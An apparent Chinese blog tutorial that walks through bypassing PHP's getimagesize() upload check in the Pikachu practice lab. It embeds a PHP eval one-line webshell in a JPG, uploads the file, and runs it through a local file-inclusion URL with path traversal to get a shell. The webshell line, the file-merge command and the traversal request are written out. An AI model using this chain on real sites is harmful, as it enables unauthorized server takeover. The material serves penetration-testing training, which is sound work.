文件上传之getimagesize函数绕过

文章目录

  • 文件上传之getimagesize函数绕过
  • 前言
  • 一、什么是getimagesize函数
  • 二、文件上传之getimagesize函数绕过
    • 1. getimagesize函数绕过
    • 2. 通过文件包含漏洞解析获得webshell
  • 总结

前言

一、什么是getimagesize函数

getimagegesize()函数用于获取图像代销及相关信息,成功返回一个数组,失败则返回一个错误信息,总之是一个判断图片大小和类型的一个函数,也避免了直接更改后缀名的绕过。

二、文件上传之getimagesize函数绕过

1. getimagesize函数绕过

我们先进行pikachu中的练习,打开代码审计看看

这里进行实验

只允许上传图片,而且我将后缀名.php改为.png,但是图片打不开。
我们将一句话木马php和png文件进行合并试一下,有两种方法可以试一下
第一种可以用cmd进行修改,执行命令
copy /b test.jpg+test.php ok.jpg
但是上传的时候报错了,可能文件大小不支持

所以我们这里进行工具,合成新图片上传

我们使用这个软件
只需将jpg图片放进去就会进行合成,只能输入jpg图片哦

输入一句话木马,点击ok,这时图片就插入一句话木马了

<?php @eval($_POST['chopper']); ?>


我们打开图片发现已经注入了,这时我们进行上传图片

图片上传成功
我们获得图片路径
uploads/2022/04/25/9173926266b8737e383119814519.jpg
下一步就进行打开获得shell的步骤了

2. 通过文件包含漏洞解析获得webshell

但是我们合成的只是jpg图片,在网站中是无法打开的
我们需要转换为php文件才可以打开,这里我们想到两种方法,一种是解析漏洞,另一种是文件包含漏洞
这里我们使用文件包含漏洞进行解析,来获取shell
首先我们找一个存在文件包含漏洞的平台
我们在pikachu中找一个实验,点击上传文件后,复制网址就行修改就可以了

http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
我们只需要将file1.php修改为我们当前图片的路径就行了

找file1.php文件的位置,找当前的目录,往前推一直找到unsafeupload的目录
…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg

这是我们file1.php文件的当前路径
D:\phpStudy\WWW\pikachu\vul\fileinclude\include\file1.php

回两级回到文件上传的位置

进行修改,结果为这个路径
http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg&submit=%E6%8F%90%E4%BA%A4

我们将路径进行打开看一下,是否可以打开

发现打得开,文件修改成功。
这时文件是php文件,我们可以打开蚁剑进行连接获取shell,
输入网址和密码

成功获取shell,实验结束。

总结

本次实验是对文件上传漏洞绕过方法的补充,引入了getimagesize函数的绕过方法,结合了图片合成木马技术,文件包含漏洞的知识方法进行绕过,从而获取shell的过程。

渗透测试-文件上传之getimagesize函数绕过相关推荐

  1. 渗透测试-文件上传/下载/包含

    渗透测试-文件上传/下载/包含 概述 一.常见校验上传文件的方法 客户端校验 服务器端校验 1.校验请求头 content-type字段 2. 正则匹配来判断文件幻数(文件头)内容是否符合要求 3. ...

  2. 渗透测试-文件上传之过滤绕过(二)

    文件上传之过滤绕过(二) 文件上传实验室第3,4关 文章目录 文件上传之过滤绕过(二) 前言 一.下载upload实验室,进行练习 二.进行后缀名绕过,拿shell 1.更改后缀名.php3绕过 2. ...

  3. 2022渗透测试-文件上传漏洞的详细讲解

    目录 1.什么是文件上传漏洞 2.生成图片木马 3.靶场 1.第一关 2.前端检测(第二关) 3.服务器端检测--MIME类型(第二关) 4.服务器端检测--文件类型(第十四关) 5.服务器文件内容验 ...

  4. 渗透测试-文件上传漏洞之MIME type验证原理和绕过

    文件上传漏洞之MIME type验证原理和绕过 文章目录 文件上传漏洞之MIME type验证原理和绕过 前言 一.什么是MIME type 二.MIME type验证原理和绕过 1. MIME ty ...

  5. 渗透测试-文件上传之大小写和window特性绕过(三)

    文件上传之大小写和window特性绕过 文件上传upload-labs实验室第6,7,8关 文章目录 文件上传之大小写和window特性绕过 前言 一.什么是window特性 二.大小写和window ...

  6. 渗透测试-文件上传之双写文件名和::$DATA绕过(四)

    文件上传之双写文件名和::$DATA绕过 文件上传实验室upload-labs第9,10,11,12关 文章目录 文件上传之双写文件名和::$DATA绕过 前言 一.什么是::$DATA 二.双写文件 ...

  7. 58.网络安全渗透测试—[文件上传篇8] —[. htaccess重写解析漏洞-突破上传]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.. htaccess重写解析漏洞 1.重写解析漏洞的原理: 2.重写解析漏洞的利用: 一.. htacces ...

  8. 53.网络安全渗透测试—[文件上传篇3]—[扩展名黑白名单穷举-突破上传]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.黑白名单的穷举 1.解题过程: 2.扩展名字典 一.黑白名单的穷举 1.解题过程: 第一步:发现文件上传动作 ...

  9. web渗透之文件上传漏洞

    目录 一.原理 二.利用方式 三.文件上传的风险处 四.文件上传漏洞的危害 五.文件上传漏洞常见的绕过方式 1.前端绕过检测 2.mime类型检测绕过 3.黑名单绕过 (1).相似扩展名 (2).ap ...

最新文章

  1. unity(2017.3) C# 常用API
  2. PAT1053 住房空置率 (20 分)
  3. 找第一个只出现一次的字符_leetcode哈希表之第一个只出现一次的字符
  4. Eclipse项目无错误但是有红叉问题解决
  5. 第十届数据技术嘉年华活动彩蛋!
  6. juniper srx 1500 HA及双线路自动切换配置
  7. multisim仿真D触发器设计的模六计数器并在数码管显示0-5
  8. 分析匿名页(anonymous_page)映射
  9. List map转json
  10. python图像文字识别 - PyTesser
  11. JavaScript——DOM文档
  12. 计算机excel猪肉价格分析,猪肉价格的统计模型.doc
  13. psd格式图片保存自己需要的png图片
  14. back_insert_iterator
  15. Win10笔记本开热点供移动端连接后电脑无法连网
  16. 有一种记录叫“时光轴”!
  17. 搜索功能这样设计,大家都说我有点东西
  18. 这些隐藏功能你知道吗
  19. app Token验证流程
  20. java 通过 冰蓝 word 转pdf ,最大程度包装pdf 样式和word接近

热门文章

  1. Python条件执行结构
  2. photoshop---阈值磨皮去斑
  3. Zuul网关并发量调试
  4. 【jQuery】仿淘宝五星评价打分的实现
  5. 格式转换——heic转换成jpg的一种快捷方法
  6. 伦敦金k线图基础知识有多重要?
  7. 笔记项目随身携带-android手机git服务器:gidder
  8. 关于 Vulkan 简介 —— Android N 引入新的 3D 渲染引擎
  9. PreferenceFragment使用
  10. 如何写好一篇读书报告